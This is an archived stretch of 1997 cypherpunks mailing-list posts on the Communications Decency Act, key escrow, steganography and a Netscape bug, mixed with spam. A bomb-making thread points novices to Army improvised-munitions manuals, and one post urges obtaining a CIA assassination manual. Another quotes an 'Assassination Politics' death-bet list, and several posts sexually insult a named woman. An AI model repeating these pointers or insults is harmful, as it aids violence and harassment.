the portrayal of those who oppose it as a broadcast
standard. The very federal statute we amended was a
dial-a-porn statute. It was telephony, which is
inherently an interactive method of communication.

Despite representations to the contrary, there was a
tremendous dialogue with representatives of the
computer industry. We tried to strike the best balance
we could.

Q: YOU TOLD ME EARLIER THAT INTERNET USERS DON'T
UNDERSTAND WHAT THE CDA REALLY IS ALL ABOUT.

What Congress said was you're only held responsible
for "knowing" violations. At that point you become
responsible to solve that problem. You can't be held
liable for unknowing violations. That's a distinction
that's been lost in the politicking over this issue.
And that's unfortunate.

This is new technology and evolving technology. That's
why Congress was careful not to codify a specific
method of preventing access for children. What's
effective today may not be effective tomorrow. We
tried very much to have the CDA be flexible and be a
living statute, one that would provide for advanced
technologies and more restrictive technologies over
time.

Q:CAN YOU GIVE ME SOME EXAMPLES?

A good example is PICS [a framework for Internet
rating systems]. Look at the PC Week editorial.

Q:THE ONE YOUR BOSS WAVED AROUND THE SENATE FLOOR?

The industry has waved around PICS and said that's a
solution. But what's the incentive -- for someone
who's providing pornography on the Internet -- to
subscribe to PICS? You're asking him to limit his
potential marketplace in a voluntary way. That doesn't
work. The need for the CDA is you want to say: Yes,
apply technology, but you must restrict access to
pornographic materials for children. If you don't do
it, you'll be subject to prosecution.

Q: WHAT WILL YOU DO IF THE SUPREME COURT STRIKES DOWN
THE CDA?

If the Supreme Court strikes down the CDA, we'll
acknowledge that the current composition of the court
is saying we don't have it right [to pass such a law]
and we'll go back and operate on the precedent that
was established and try again.

The final verson of the CDA -- the compromise that was
struck in the conference committee -- was passed
overwhelmingly. There's precedent to this: the
dial-a-porn law. It took several attempts before it
was upheld by the Supreme Court.

I think that everyone involved -- from the ACLU to a
lot of the reporters on the Internet -- has
misrepresented the CDA in many respects. Saying that
it is a ban on indecency, that adults wouldn't be able
to communicate with each other. That's patently wrong.

Q: YOU SOUND LIKE YOU FEEL OUTGUNNED.

The newspapers have a vested interest. Every major
newspaper editorialized against the law during
drafting and afterward.

You're not going to be a darling of the media. The
media likes to portray this as a free speech issue.
This is part of the process.

Q: SO NOW THE PRO-CDA FORCES ARE THE UNDERDOGS?

One of the virtues of the Internet is the free flow of
information. But only part of the information is being
put out and that's unfortunate.

This representation by opponents of the CDA that
considerations of the unique nature of the Internet
were not taken into account or that members and staff
didn't understand the Internet or that somehow
Congress didn't like the Internet or saw great danger
beyond this issue -- all that is simply not true.

There was consultation with the computer industry at
every step of the way. We wanted to create a living
law -- a flexible law -- that could grow as
technologies evolved.



-------------------------
Declan McCullagh
Time Inc.
The Netly News Network
Washington Correspondent
http://netlynews.com/







From 37042252 at usa.net  Sat Jun 28 10:08:39 1997
From: 37042252 at usa.net (37042252 at usa.net)
Date: Sat, 28 Jun 1997 10:08:39 -0700 (PDT)
Subject: Accept Major Credit Cards Online...VERY LOW FEES!!!
Message-ID: 


Hi there,


Credit Cards are the universal currency of the Internet, and, if you want to do business online, you need to be able to Accept Visa, Mastercard and American Express cards on your Web site.

Trouble is, many banks won�t give merchant status to businesses that are new, home-based or located in cyberspace instead of a real-world storefront or mall.

That�s why we�re pleased to present a special offer from USConnect, a major merchant account provider that�s helping companies like yours get merchant status on the Net.

The benefits include:

* 2% Discount Rate

* No Monthly Minimum Billing Fee

* No Statement Fee if No Sales Made for the Month

* Money Available in 2 Business Days

* Windows-Based or Macintosh Compatible Credit Card Processing Software (Available)

* Shopping Cart System To Take Orders Securely Right On-Line (Available)

* Referral Program - $100-$200 Rewards For Each Referred Account

*And Much, Much More. . . .!

I invite you to browse our website for more information and registration:


Go to: http://www.onestopshop.net/credit/cards.html

Apply now and start your cash flowing today!



If you wish to be removed from our mailing list, please hit reply and type REMOVE in the
subject field .
  













From kent at songbird.com  Fri Jun 27 20:16:10 1997
From: kent at songbird.com (Kent Crispin)
Date: Sat, 28 Jun 1997 11:16:10 +0800
Subject: AP Bot Results
In-Reply-To: <199706231344.JAA17712@dhp.com>
Message-ID: <19970627195907.15928@bywater.songbird.com>



On Mon, Jun 23, 1997 at 11:44:33PM -0700, Bill Stewart wrote:
> At or before 09:44 AM 6/23/97 -0400, some provocateur wrote:
> ...
> >Leading eCa$h candidates for dying at an opportune time to make some
> >perennial loser "Dead Lucky" are:
> ...[targets deleted, with prices from $514 to 2,610.02 ]
> 
> >Leading Contributors/Bettors:
> >The James Gang
> >The Dalton Gang
> >The Bell Gang
> >William Geiger III
> 
> You've done an inadequate job of implementing your protocol,
> endangering your customers far more than your targets.

Hmm -- back from vacation, and what do I find?

Actually, more worrisome is the effect things like this might have on
Jim Bell's legal problems.  A nice, lurid example of an anonymous
conspiracy involving AP for the prosecutors to chew on...

-- 
Kent Crispin				"No reason to get excited",
kent at songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html






From whgiii at amaranth.com  Fri Jun 27 21:33:28 1997
From: whgiii at amaranth.com (William H. Geiger III)
Date: Sat, 28 Jun 1997 12:33:28 +0800
Subject: Netly interviews Donna Rice-Hughes and Sen. Coats staffer
Message-ID: <199706280128.UAA20388@mailhub.amaranth.com>



-----BEGIN PGP SIGNED MESSAGE-----


In , on 06/27/97 
   at 08:41 PM, Declan McCullagh  said:

>[The day before the CDA decision came down, I interviewed David Crane
>from Sen. "CDA II Real Soon Now" Coats' office and Noah interviewed Donna
>Rice-Hughes. Recall Coats was the chief GOP sponsor of the original CDA.
>Here are excerpts. --Declan]

Hi Declan,

What Noah forgot to ask:

"Ms. Rice, considering your previous occupation as a two-bit whore during
the '88 election why should the American public take anything you do
seriously?"

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3a
Charset: cp850
Comment: Registered_User_E-Secure_v1.1b1_ES000000

iQCVAwUBM7Rn1Y9Co1n+aLhhAQFONQQAmXFnvVB91lciCIYIGQv9y8fq+j5zwbz3
r+BE0Q0VpXc+APVpUxqbO5OEb0NRO6+epRgkXn09hInpXFiqnPegprh2otuEPsKP
4IeMOBullzkI1CvXWNBNDZ5Xd9Q9IGWX1Qax7Xi3Dou6UlFQ+3LI3/F2Vn/fqWZv
seogXEJLtYY=
=U+/2
-----END PGP SIGNATURE-----






From benjamin at creativeimagery.com  Sat Jun 28 15:15:06 1997
From: benjamin at creativeimagery.com (benjamin at creativeimagery.com)
Date: Sat, 28 Jun 1997 15:15:06 -0700 (PDT)
Subject: DO YOU NEED WEB-LEGAL CONTENT?
Message-ID: <199706282206.RAA32411@wakko.creativeimagery.com>


///////////////////////////////////////////////////////////////////////////////
This Message is intended for adult webmasters only.
If you wish no further mailings type "remove" in the subject box & reply.
////////////////////////////////////////////////////////////////////////////////
Our business is providing Adult Web Sites with Legal Adult
material, material that won't get you in copyright troubles,
material that WON'T make you go broke buying it!  We even offer
a 30-day no-hassle money-back guarantee on all CD-ROM sales,
and have free sample images on our website so that you can
look at the material before purchase.  How can you go wrong?

Check out some of our current offerings:

2088 Quality softcore images for only $100.00 plus shipping!  No
hidden licensing fees!

1700 Brand New Hardcore "Anal" images, $25.00 plus shipping for the
disc, and $50.00 for the web license!

1700 Images, hardcore & Kinky, for only $30.00 plus shipping with no
additional licensing fees!  If you want to modify them for your own special
look, licensing for that is available.

371 Images of Softcore Women of Color, $25.00 plus shipping, no hidden
charges!

3000+ Kinky Images!  Bondage, Domination, Spanking & More!  $50.00 plus
shipping.  License available for image modification, use them unmodified
on the web for free!

There are many more titles available, with more coming in all the time.
Please e-mail us at
 arsenal at arsenalcdrom.com
 for more information, or to be put on our automatic
update list.

If you have an interest respond to arsenal at arsenalcdrom.com






From CrShNDy at aol.com  Sat Jun 28 00:46:49 1997
From: CrShNDy at aol.com (CrShNDy at aol.com)
Date: Sat, 28 Jun 1997 15:46:49 +0800
Subject: mailing list
Message-ID: <970628033152_-2097406877@emout16.mail.aol.com>



I want on the mailing list please






From ichudov at Algebra.COM  Sat Jun 28 00:55:01 1997
From: ichudov at Algebra.COM (Igor Chudov @ home)
Date: Sat, 28 Jun 1997 15:55:01 +0800
Subject: Bomb-making instructions....
In-Reply-To: <199706250551.WAA26895@fat.doobie.com>
Message-ID: <199706280416.XAA04026@manifold.algebra.com>



Huge Cajones Remailer wrote:
> Paul Bradley wrote:
> > I personally know no chemistry at all, but what would be nice is if
> > someone who knows what they are doing wrote an "anarchists cookbook" type
> > set of files, but this time got them right so anyone attempting any of
> > the recipes wouldn`t be killed.

Paul,

Making explosives is very dangerous even if the recipes are right. I
personally knew many kids who lost fingers, eyes and other body organs
due to careless handling of homemade explosives. Probably, the important
thing to do before bombmaking is to learn the safety rules.

I agree with you though that certain recipes and chemicals are unsafe
no matter how carefully to handle them.

	- Igor.






From drtm at dev.null  Sat Jun 28 03:52:44 1997
From: drtm at dev.null (Digital Revolution TM)
Date: Sat, 28 Jun 1997 18:52:44 +0800
Subject: Nutly interview Donna Rice-Hughes
In-Reply-To: 
Message-ID: <33B4E82F.32E1@dev.null>



To: cypherpunks at toad.com
From: Digital Revolution TM 
X-Mailer: WinSock Remailer Version ALPHA1.3B
X-Comments: -
X-Comments: "There are no sounds, only numbers.
X-Comments:  Turning round and round inside my brain.
X-Comments:  Turning into words which are stolen from the wind
X-Comments:  And imprisoned in a digital refrain."
X-Comments:    "Analog was King when Elvis crooned.
X-Comments:     Sound had soul and beauty, dissonance and charm.
X-Comments:     But war has been declared upon the soul (and
imperfection)
X-Comments:     And the Digital Revolution is the newest call to arms.
X-Comments: 
X-Comments: "Digital Revolution" from "The Tables Have Turned (@ 33
rpm)"
X-Comments:     by Probable Cause
X-Comments: (c) 1987 Countie Mountie Productions
X-Comments: -
X-Comments: This message is NOT from .  
X-Comments: It was converted from  into a
X-Comments: digital form suitable for distribution within the confines
X-Comments: of the ElectroMagnetic Curtain.
X-Comments: 
X-Comments: Send all complaints about abuse of these digital ciphers 
X-Comments: to the end of the universe by screaming in Analog at the
X-Comments: top of your lungs.
X-Comments: -
X-Remailer-Setup: Maximum Message Size -- Infinite
X-Remailer-Setup: Reordering is SUSPICIOUS
X-Remailer-Setup: News Posting SPAM RESISTANT
X-Remailer-Setup: Subject Header LUDICROUS
X-Remailer-Setup: Logging TO/MAN-IN-THE-MIDDLE/FROM Headers
X-Remailer-Setup: KGB and plaintext messages accepted
Subject: Re: Nutly interview Donna Two-Names

Declan McCullagh wrote:
> http://www.pathfinder.com/news/netdecency/rice.html
> Interview with Donna Rice-Hughes, Enough is Enough
> The Netly News
> June 26, 1997
 
> You have a lot of people who have been using the
> Internet for years for the contructive purposes for
> which it was designed. Now it's becoming more
> commercial and you have pedophiles, pornographers and
> people who are just posting their private collections
> of pornography and polluting it, exploiting that
> technology.

  Why isn't Donna Rice-Huges telling us the _names_ of all
these pedophiles on the internet? Better yet, why isn't she
telling law enforcement authorities the names of these
pedophiles?
  If legislators and crusaders are aware of large numbers
of pedophiles using the internet or any other medium for
promoting child pornography then why aren't they taking
steps to enforce the existing laws against this behavior?
 
> A few bad apples are spoiling it for
> everyone else. If it wasn't for that then we wouldn't
> be having this problem.

  Excuse me? A 52 billion dollar a year (and growing) industry
would seem to me to be an indication that a significant number
of those included in the "everyone" that Donna Rice-Hughes has
taken it upon herself to speak for are willing and active 
participants and consumers in the growing portion of the 
internet industry which is fulfilling the needs of people of
various sexual proclivities.
  Not having seen Donna Rice-Hughes naked for quite some
time, I cannnot comment as to whether naked pictures of her
could be regarded as "pollution" but I would submit that the
thousands upon thousands of ordinary men and women who choose
to share erotic home photographs of their bodies with others
do not regard their physical vessel as a form of "pollution."

> Long before any of this it would have been great if
> the Internet community had said, "Hey, don't pollute
> this technology," and had imposed their own controls.
> But that didn't happen and it isn't happening.

  This is the "Big Lie" that censoring fascists such as Donna
Two-Names would have us believe.
  The InterNet community imposes the same control that I myself
impose--namely, *self-control*.

  I do not post naked pictures of myself to the cypherpunks list,
or to the health lists I particpate in. Nor have I ever posted
long discourses on cryptography to alt.sex.picures.Rice-Hughes.
  I have no plans to become a pedophile because of the CDA being
declared unconstitutional. (Likewise, I find it hard to believe
that anyone would stop being a pedophile because of the CDA being
passed.)

  Millions of ordinary citizens are imposing the self-control
needed to direct their InterNet activities toward forums which
are formed to promote and enhance that form of activity.
  No doubt some children's forum will at some point receive a
sexually graphic picture from a sex-spammer (or government
agent / religious agent provoacteur). I hardly regard this as
a good reason to enact invasive and oppressive laws aimed at
people who are engaging in activities they enjoy in forums
created for that purpose.
  The fact is that sex-graphic spamming of children, if it does
occur, can be handled by dealing with the person who performs 
an action such as this, which may be highly inappropriate. The 
Fascist Censorship Coalition, however, would have us believe 
that such actions would go "unpunished" unless invasive and 
oppressive laws are passed which would inhibit and/or 
criminalize activities which a significant portion of the 
citizens find to be of value in their lives.

  Another of the "Big Lies" that the Fascist Censorship Coalition would
have us believe is that their main concern is preventing minors from
having easy access to what is considered "adult" material.
  Donna Rice-Hughes makes it plain that she considers activities she
wishes to support and engage in "constructive," while activities she
does not wish to support and engage in are "pollution." I find this as
normal and natural as considering ASCII art spams to the cypherpunks
list to be "pollution" of the list (except for the really funny ones).
  The problem I have with the Fascist Censorship Coalition is not just
that they want to embark upon the same censorous path that John
Gilmore ill-advisedly trod (though I will forgive him once Tim McVeigh
has died for John's sins), but also that they desire to do so with 
armed force (laws/prison).
  Those claiming the moral high-ground do not merely want (by way of
analogy) to unsubscribe Dr. Vulis from the list because they disagree
with his views and attitude, but also want to prevent him from speaking
on *any* list, and imprison him if he should do so.

  "Big Lie # uses loud proclaimations of pedophilia and
bestiality (the four 'dicl-licking' horsemen) lurking on every corner, 
when their real agenda is to suppress and criminalize activities which 
they regard as "immoral" regardless of the fact that millions of
citizens
consider those activities acceptable.
  For the record, I do not, as a matter of practice, stick crowbars up
my ass. Neither do I spend time seeking out pictures of those who do.
I also have no particular interest in doing a Yahoo search on "home
hardware" only to retrieve a multitude of pointers to websites dedicated
to pictures of people sticking a crowbar up their ass. When it happens,
("The YOUNGEST TEENS on the Net--Sticking CROWBARS up their ass!!!")
I regard it like I do ASCII art-spams and I ignore/delete them (unless
I see indications of "redeeming social value" or a really superlative
"cheap shot").

  "The answer to noise is more noise."
  Unfortunately, all the Fascist Censorship Coalition has is a hammer,
so everything looks like a nail to them. ("The nail that sticks out
gets hammered down.")
  Donna Rice-Hughes is free to join with others having similar interests
in order to _create_ "constructive" noise of her choosing in order to
drown out what she considers "pollution." Instead, she sets her sights
on the destruction of noise which a significant number of citizens
consider to be of value. She and the other members of the Fascist
Censorship Coalition choose to be "destroyers" rather than "creators."

  Saddam Hussein could come to America and claim the moral high-ground,
denouncing Donna Rice-Hughes as a harlot for showing her bare arms,
or ankles, or whatever his definition of "immorality" encompasses.
  He could likely parrot every moralistic stance taken by the Fascist
Censorship Coalition and make the same claims for the need to enact
laws to censor and/or ban much of what the Coalition values.
  The question is: "*Which* 'scum' needs to be 'cleansed' from our 
common environment?"
  The answer, (according to the Fascist Censorhip Coalition) is:
 "The _free_speech_ scum."

  The bottom line is that the Fascist Censorship Coalition's goal is
to force their moral(~religious) values on the "everyone" that they
claim to be speaking for.
  Not only that, but they also wish to use armed force (laws/prison)
to suppress the display and expression of those concepts and activities
which fail to meet their own moral(~religious) criteria. They not only
don't want themselves and their children to be exposed to certain "bad"
materials/speech, but they don't even want the existence of that "bad"
material/speech to be acknowledged in their moralistically protected
corner of reality.

  My guess is that the reason Donna Rice-Hughes has a problem with 
other people putting a crowbar up their ass is because it reminds her
of the painful stick that she has up hers.

~~~~~
TruthMonger
     ~~~~~~

p.s. - singling out the Bible-thumpers, in particular, my personal
theory is that when they do a search on the word "christian sex" in
order to find religiously oriented sex-education material and then
receive 20,000 pointers to URL's with names like "Naked Teenage 
Christian  Sex Slaves," that this is merely divine retribution for
all of those "social events" they invited me to that turned out to
be prayer meetings at which the "sins" being railed against all
seemed to be lifted from my personal diary.






From FMart62512 at aol.com  Sat Jun 28 07:16:39 1997
From: FMart62512 at aol.com (FMart62512 at aol.com)
Date: Sat, 28 Jun 1997 22:16:39 +0800
Subject: newsletter
Message-ID: <970628095216_-1528509405@emout17.mail.aol.com>



is there a mailing list i can be put on? if so pleae do






From nexus at eskimo.com  Sat Jun 28 08:38:35 1997
From: nexus at eskimo.com (Brian Lane)
Date: Sat, 28 Jun 1997 23:38:35 +0800
Subject: More about Netscape Bug finder
In-Reply-To: 
Message-ID: <33b82e1e.39281810@mail.eskimo.com>



On Mon, 16 Jun 1997 22:41:24 -0400, you wrote:

>An Email Trail from Bug Spotter to
>           Netscape
>           6:01pm  13.Jun.97.PDT The following is a copy of the
>           email exchange between Netscape officials and

[rest snipped]

  Notice that none of this exchange is signed in any way. I don't
doubt Netscape's claim as to what happened, but really this is just a
bunch of letters assembled in the right order. There's no reason to
trust the contents.

  Brian


----------------------------------------------------------------------------------
Brian C. Lane             http://www.eskimo.com/~nexus                      KC7TYU
-----------  1024/57B17CA9 96B9 C123 5C90 BECC  6A1F 7DC6 4F2B A26E  -------------






From nexus at eskimo.com  Sat Jun 28 08:50:31 1997
From: nexus at eskimo.com (Brian Lane)
Date: Sat, 28 Jun 1997 23:50:31 +0800
Subject: HACKERS SMASH U.S. GOVERNMENT ENCRYPTION STANDARD
In-Reply-To: 
Message-ID: <33b93059.39852907@mail.eskimo.com>



-----BEGIN PGP SIGNED MESSAGE-----

On Thu, 19 Jun 1997 09:53:23 +0000 (   ), you wrote:

>> C2Net is the leading worldwide provider of uncompromised Internet
>> security software. C2Net's encryption products are developed
entirely
>> outside the United States, allowing the firm to offer full-strength
>> cryptography solutions for international communications and
>> commerce. 
>
>C2Net also censor all dissenters over the security of their products,
try 
>it if you want to prove my point, just post a message to a security
forum 
>questioning the security of stronghold.
>

  It seems to me that we now have to take all posts from sameer with a
large grain of salt. Now that he has a vested interest in a security
product all of his posts are just Marketing Propaganda and over
statment. This is wrong when either side of the issue does it (ie. the
claim that strong crypto will only be useful to terrorists rhetoric).

  Personally I'd like to see these posts dissapear from the mailing
list. But of course that is just my own opinion.

  Brian

-----BEGIN PGP SIGNATURE-----
Version: PGP for Personal Privacy 5.0
Charset: noconv

iQCVAwUBM7UxGKQxGtxXsXypAQH2mwP+NGazOXSiLf0TZsXQ9FvgVx8WScK0YL2V
wCN/EgNxXmqY1kDZa0bLSOL99whjH2CyLyoUB2Hdikx1ZGVi0qBXPIBzYEkbRgDU
CTyhVZ+2B/PqbLtOPIxhP8O7w06gC5hiIeCh2ghSOFZskqdTYAwUMs2+8jTxf09Z
76x3QLW2fw0=
=Vuye
-----END PGP SIGNATURE-----

----------------------------------------------------------------------------------
Brian C. Lane             http://www.eskimo.com/~nexus                      KC7TYU
-----------  1024/57B17CA9 96B9 C123 5C90 BECC  6A1F 7DC6 4F2B A26E  -------------






From nobody at huge.cajones.com  Sat Jun 28 09:12:24 1997
From: nobody at huge.cajones.com (Huge Cajones Remailer)
Date: Sun, 29 Jun 1997 00:12:24 +0800
Subject: mailing list
Message-ID: <199706281603.JAA02917@fat.doobie.com>



>I want on the mailing list please
>
>
haha






From tcmay at got.net  Sat Jun 28 09:34:32 1997
From: tcmay at got.net (Tim May)
Date: Sun, 29 Jun 1997 00:34:32 +0800
Subject: Bomb-making instructions....
In-Reply-To: <199706250551.WAA26895@fat.doobie.com>
Message-ID: 



At 9:16 PM -0700 6/27/97, Igor Chudov @ home wrote:
>Huge Cajones Remailer wrote:
>> Paul Bradley wrote:
>> > I personally know no chemistry at all, but what would be nice is if
>> > someone who knows what they are doing wrote an "anarchists cookbook" type
>> > set of files, but this time got them right so anyone attempting any of
>> > the recipes wouldn`t be killed.
>
>Paul,
>
>Making explosives is very dangerous even if the recipes are right. I
>personally knew many kids who lost fingers, eyes and other body organs
>due to careless handling of homemade explosives. Probably, the important
>thing to do before bombmaking is to learn the safety rules.
>
>I agree with you though that certain recipes and chemicals are unsafe
>no matter how carefully to handle them.

Ironically, safety instructions for making bombs would almost certainly be
lumped in with the actual formulas for explosives. (Actually, as the safe
and proper handling is more critical to successful bomb-making than the
mere mixture of chemicals, this is a certainty.)

And, as usual, the law will probably end up being applied to people
innocent of criminal intent.

And the _real_ bombers will continue to learn their trade at training camps
in the deserts of Sudan and Iraq, and, of course, in the various militaries.

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay at got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From lharrison at mhv.net  Sat Jun 28 09:50:32 1997
From: lharrison at mhv.net (Lynne L. Harrison)
Date: Sun, 29 Jun 1997 00:50:32 +0800
Subject: More about Netscape Bug finder
In-Reply-To: 
Message-ID: <3.0.2.32.19970628124035.006c39ac@pop.mhv.net>



At 03:32 PM 6/28/97 GMT, Brian Lane wrote:
>
>On Mon, 16 Jun 1997 22:41:24 -0400, you wrote:
>
>>An Email Trail from Bug Spotter to
>>           Netscape
>>           6:01pm  13.Jun.97.PDT The following is a copy of the
>>           email exchange between Netscape officials and
>
>[rest snipped]
>
>  Notice that none of this exchange is signed in any way. I don't
>doubt Netscape's claim as to what happened, but really this is just a
>bunch of letters assembled in the right order. There's no reason to
>trust the contents.


This reminded me to ask if anyone knows if, per their statement, Netscape
intends to u/l a patch for the 3.x versions.  When I checked yesterday, I
didn't see any reference to it.

*********************************************************
Lynne L. Harrison, Esq.       |    "The key to life:
Poughkeepsie, New York        |     - Get up;
lharrison at mhv.net             |     - Survive;
http://www.dueprocess.com     |     - Go to bed."
************************************************************

DISCLAIMER:  I am not your attorney; you are not my client.
             Accordingly, the above is *NOT* legal advice.






From shamrock at netcom.com  Sat Jun 28 09:51:04 1997
From: shamrock at netcom.com (Lucky Green)
Date: Sun, 29 Jun 1997 00:51:04 +0800
Subject: Bomb-making instructions....
In-Reply-To: <199706250551.WAA26895@fat.doobie.com>
Message-ID: <3.0.2.32.19970628094411.006c20b8@netcom10.netcom.com>



At 11:16 PM 6/27/97 -0500, Igor Chudov @ home wrote:
>Making explosives is very dangerous even if the recipes are right. I
>personally knew many kids who lost fingers, eyes and other body organs
>due to careless handling of homemade explosives. Probably, the important
>thing to do before bombmaking is to learn the safety rules.

I would urge anyone interested in explosives, but unfamiliar with them, to
first read the following books before attempting any recipes out of the
"Anarchist's Cookbook" and similar publications. Your
extremities/eyes/health will thank you.

TM 31-210 Army Technical Manual "Improvised Munitions Handbook"
TM 31-201-1 Army Technical Manual "Unconventional Warfare Devices and
Techniques: Incendiaries"

Both paperbacks can be purchased at any gun show for about $5 each.

You also should take a look at the
"ATF - Explosives Law and Regulation" aka "The Orange Book".

It is available for free at any ATF field office. No, they won't ask for
ID. In fact, they couldn't care less who comes by to pick up a copy.

Be safe,

--Lucky Green 
  PGP encrypted mail preferred.
  DES is dead! Please join in breaking RC5-56.
  http://rc5.distributed.net/






From kent at songbird.com  Sat Jun 28 09:57:52 1997
From: kent at songbird.com (Kent Crispin)
Date: Sun, 29 Jun 1997 00:57:52 +0800
Subject: Sources for stego images
In-Reply-To: 
Message-ID: <19970628094834.37563@bywater.songbird.com>



On Mon, Jun 23, 1997 at 11:38:25PM -0700, Bill Stewart wrote:
> >> >That's the major problem with images, you need to generate your own.
> >> >Unless you fancy writing an image enhancement system, and analyse the
> >> >algorithms in existing systems to ensure that randomness is
> >> >introduced.
> ..
> >Or, set up your own webcam "to watch your coffee pot twice a minute" or
> >something. Merge the crypto stream through the gifs after tweaking the
> >brightness and contrast to avoid 0 and 255 (a light fixture with a pattern
> >of 254/255 values gets suspicious, and is not from thermal noise - a
> >"problem" with monochrome quickcams for night photography).
> 
> Pictures like coffee pots are likely to have parts that change
> (e.g. the state of the coffee pot) and parts that don't change 
> (e.g. the part of the wall that isn't blocked by the pot.)
> This means that it's easy to tell which bits are being messed with,
> if somebody's watching successive pictures.  If the digitization's
> random enough in the low bits, it's a bit better, but a picture of
> something moving helps.  Oceans and fog are great....

Sources of pictures aren't really the problem, though -- it's
developing the widespread habit of people sending references to
pictures along with their email.  For example, if the "cool thing to
do" was to note a link to a favorite photo in your sig (as I have
done, below), then people who were interested in communicating
privately could build up a significant cache of shared pictures.  Code
to automatically compare pictures with the previous version, and
decrypt the embedded messages is no big deal -- the big deal is 
getting people to habitually include links to pictures -- or sound 
files, or whatever...

-- 
Kent Crispin				"No reason to get excited",
kent at songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html
Picture of the day: http://songbird.com/pix/photos/gc8.jpg






From declan at pathfinder.com  Sat Jun 28 10:08:29 1997
From: declan at pathfinder.com (Declan McCullagh)
Date: Sun, 29 Jun 1997 01:08:29 +0800
Subject: mailing list
In-Reply-To: <970628033152_-2097406877@emout16.mail.aol.com>
Message-ID: 



No. Never.

-Declan

On Sat, 28 Jun 1997 CrShNDy at aol.com wrote:

> I want on the mailing list please
> 
> 






From tcmay at got.net  Sat Jun 28 10:14:37 1997
From: tcmay at got.net (Tim May)
Date: Sun, 29 Jun 1997 01:14:37 +0800
Subject: CIA's Manual on Assassination Politics
In-Reply-To: <199706280416.XAA04026@manifold.algebra.com>
Message-ID: 



At 9:44 AM -0700 6/28/97, Lucky Green wrote:

>I would urge anyone interested in explosives, but unfamiliar with them, to
>first read the following books before attempting any recipes out of the
>"Anarchist's Cookbook" and similar publications. Your
>extremities/eyes/health will thank you.
>
>TM 31-210 Army Technical Manual "Improvised Munitions Handbook"
>TM 31-201-1 Army Technical Manual "Unconventional Warfare Devices and
>Techniques: Incendiaries"

Likewise, anyone interested in Assassination Politics should get ahold of
the CIA's training manual for assassins and covert operatives. This manual
was used extensively in training locals in Nicaragua to kill members of the
democratically elected government in Nicaragua. (And Diem, and Lumumba, and
Guevara, and on and on.)

Interestingly, when a Pakistani (or maybe Afghani) native practiced AP on
some CIA agents at the front gate of the Langley facility, the CIA then
spent $5 million tracking him down, even paying $2-3 M in finders fees.

>Both paperbacks can be purchased at any gun show for about $5 each.
>

>It is available for free at any ATF field office. No, they won't ask for
>ID. In fact, they couldn't care less who comes by to pick up a copy.
>

Though I rather suspect finding the CIA's domestic field offices might be
tough, so asking for a copy of the CIA's manual on assassination would be
problematic. Too bad nobody has bothered yet to scan and OCR it and put it
on the Web. Now _that_ would be a blow!

Foreign offices of the CIA might be easier to locate. Just walk up to any
embassy gate and ask to speak to the Cultural Attache.

(And various CIA and DIA agents in various countries have their names
published in the opposition press, the same kinds of press that Germany and
other neo-fascist regimes are shutting down, a al Radikal and Integral and
whatnot.)

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay at got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From kent at songbird.com  Sat Jun 28 10:21:04 1997
From: kent at songbird.com (Kent Crispin)
Date: Sun, 29 Jun 1997 01:21:04 +0800
Subject: Hettinga's e$yllogism
In-Reply-To: 
Message-ID: <19970628101134.52512@bywater.songbird.com>



On Tue, Jun 24, 1997 at 01:45:35PM -0400, tzeruch at ceddec.com wrote:
[...]
> > ... why wouldn't escrow work ...
> 
> Because the government could retroactively reverse transactions.  Currency
> is only as good as far as it is trusted.  Would you accept a transaction
> that if the government opened the crypto, and found that the person that
> sent you the cash was a drug dealer, which meant that all your finances
> are thus contaminated with "drug money", and that they would not only
> seize the transaction, but all other money?  I think not. 

So how is that different than the current situation without 
cryptography?  If people couldn't live with key escrow, how can they 
live with the current situation?  Answer:  they live with the current 
situation because the government abuses you describe are kept below 
the revolution threshold.  The same would be the case with key escrow.

> The goverment could also open the note and spend it before you did (for
> things like back taxes).  Assuming it is not a janitor working in the
> building housing the escrow computer who is doing it.
> 
> In effect, key escrow applied to electronic cash is a lein against every
> note that can be executed without your knowledge or consent.

But so what? Right now the government has intimate knowledge of your
finances through tax records and other sources, and has the power to
put liens on your property and your cash for all kinds of reasons.  
And indeed, all too frequently it gets out of control.  But the 
bottom line is that business in the US continues to function.  It 
would continue to function with key escrow, as well.

> There are technical solutions and problems which I can go into further. 
> But, briefly, the goverment will want to track all sides, and anything
> will require huge computer resources to store the escrowed keys.  

Assuming certain models of key escrow, yes.  Under other models, no.  
But imagine the worst case -- GAK creates a huge unwieldy expensive 
computerized infrastructure and associated bureacracy.  What 
happens?  Businesses find other ways to protect their data and 
transactions, huge economic inefficiencies develop, and the whole 
thing collapses and goes away.

It's amazing how little faith libertarians have in the market system,
isn't it?  :-)

Or another scenario:  A janitors at a Government Key Escrow Center is 
caught making billions illegally.  An outcry in Congress, laws are 
repealed, new laws are passed, etc etc etc.  If the system works 
badly it will fail.

[...]

> If the government can declare "authentic" currency to have no value
> (especially retroactively), the same rule applies, which is why key escrow
> is equally damaging. 

Governments have devalued currencies many many times in the past
without the need of key escrow...key escrow is an independent issue. 

-- 
Kent Crispin				"No reason to get excited",
kent at songbird.com			the thief he kindly spoke...
